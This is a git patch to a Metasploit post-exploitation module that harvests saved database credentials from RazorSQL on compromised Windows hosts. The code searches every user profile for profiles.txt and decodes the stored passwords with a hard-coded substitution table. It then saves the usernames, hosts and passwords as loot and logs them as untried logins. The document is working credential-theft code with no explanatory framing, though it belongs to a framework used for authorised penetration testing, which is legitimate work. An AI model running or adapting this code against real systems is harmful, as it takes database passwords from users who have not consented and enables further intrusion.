From 656f64d9bd5755a3ba060216f9d79159df1e61d8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 3 Jun 2015 13:49:06 -0500 Subject: [PATCH] Update razorsql to use the new cred API --- .../windows/gather/credentials/razorsql.rb | 97 ++++++++++++++----- 1 file changed, 72 insertions(+), 25 deletions(-) diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 23400579ac..4e7231c840 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -9,6 +9,7 @@ require 'msf/core/auxiliary/report' class Metasploit3 < Msf::Post + include Msf::Post::File include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles @@ -30,6 +31,48 @@ class Metasploit3 < Msf::Post )) end + def get_profiles + profiles = [] + grab_user_profiles.each do |user| + next unless user['ProfileDir'] + ['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path| + file = "#{user['ProfileDir']}\\#{profile_path}" + profiles << file if file?(file) + end + end + + profiles + end + + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: fullname, + post_reference_name: self.refname, + session_id: session_db_id, + origin_type: :session, + private_data: opts[:password], + private_type: :password, + username: opts[:user] + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + }.merge(service_data) + + create_credential_login(login_data) + end + + def run print_status("Checking All Users...") creds_tbl = Rex::Ui::Text::Table.new( @@ -47,19 +90,17 @@ class Metasploit3 < Msf::Post ] ) - grab_user_profiles().each do |user| - next if user['ProfileDir'] == nil - file= user['ProfileDir'] + "\\.razorsql\\data\\profiles.txt" - content = get_content(file) - if content and not content.empty? - creds = parse_content(creds_tbl, content, user['UserName']) - creds.each do |c| - creds_tbl << c - end + get_profiles.each do |profile_path| + content = get_content(profile_path) + next if content.blank? + parse_content(creds_tbl, content).each do |cred| + creds_tbl << cred end end - if not creds_tbl.rows.empty? + if creds_tbl.rows.empty? + print_status("No creds collected.") + else path = store_loot( 'razor.user.creds', 'text/csv', @@ -70,8 +111,6 @@ class Metasploit3 < Msf::Post ) print_line(creds_tbl.to_s) print_status("User credentials stored in: #{path}") - else - print_error("No data collected") end end @@ -86,9 +125,8 @@ class Metasploit3 < Msf::Post return content end - def parse_content(table, content, username) + def parse_content(table, content) creds = [] - print_line("Account: #{username}\n") content = content.split(/\(\(Z~\]/) content.each do |db| database = (db.scan(/database=(.*)/).flatten[0] || '').strip @@ -100,19 +138,22 @@ class Metasploit3 < Msf::Post pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip # Decrypt if there's a password - pass = decrypt(pass) if not pass.empty? + decrypted_pass = decrypt(pass) unless pass.blank? + + pass = decrypted_pass ? decrypted_pass : pass # Store data creds << [user, pass, type, host, port, dbname, database] - # Reort auth info while dumping data - report_auth_info( - :host => host, - :port => port, - :sname => database, - :user => user, - :pass => pass, - :type => 'password' + # Don't report if there's nothing to report + next if user.blank? && pass.blank? + + report_cred( + ip: rhost, + port: port.to_i, + service_name: database, + user: user, + password: pass ) end @@ -140,10 +181,16 @@ class Metasploit3 < Msf::Post "a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" , "}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`" } - password='' + password = '' for letter in encrypted_password.chomp.each_char - password << magic_key[letter] + char = magic_key[letter] + + # If there's a nil, it indicates our decryption method does not work for this version. + return nil if char.nil? + + password << char end + return password end end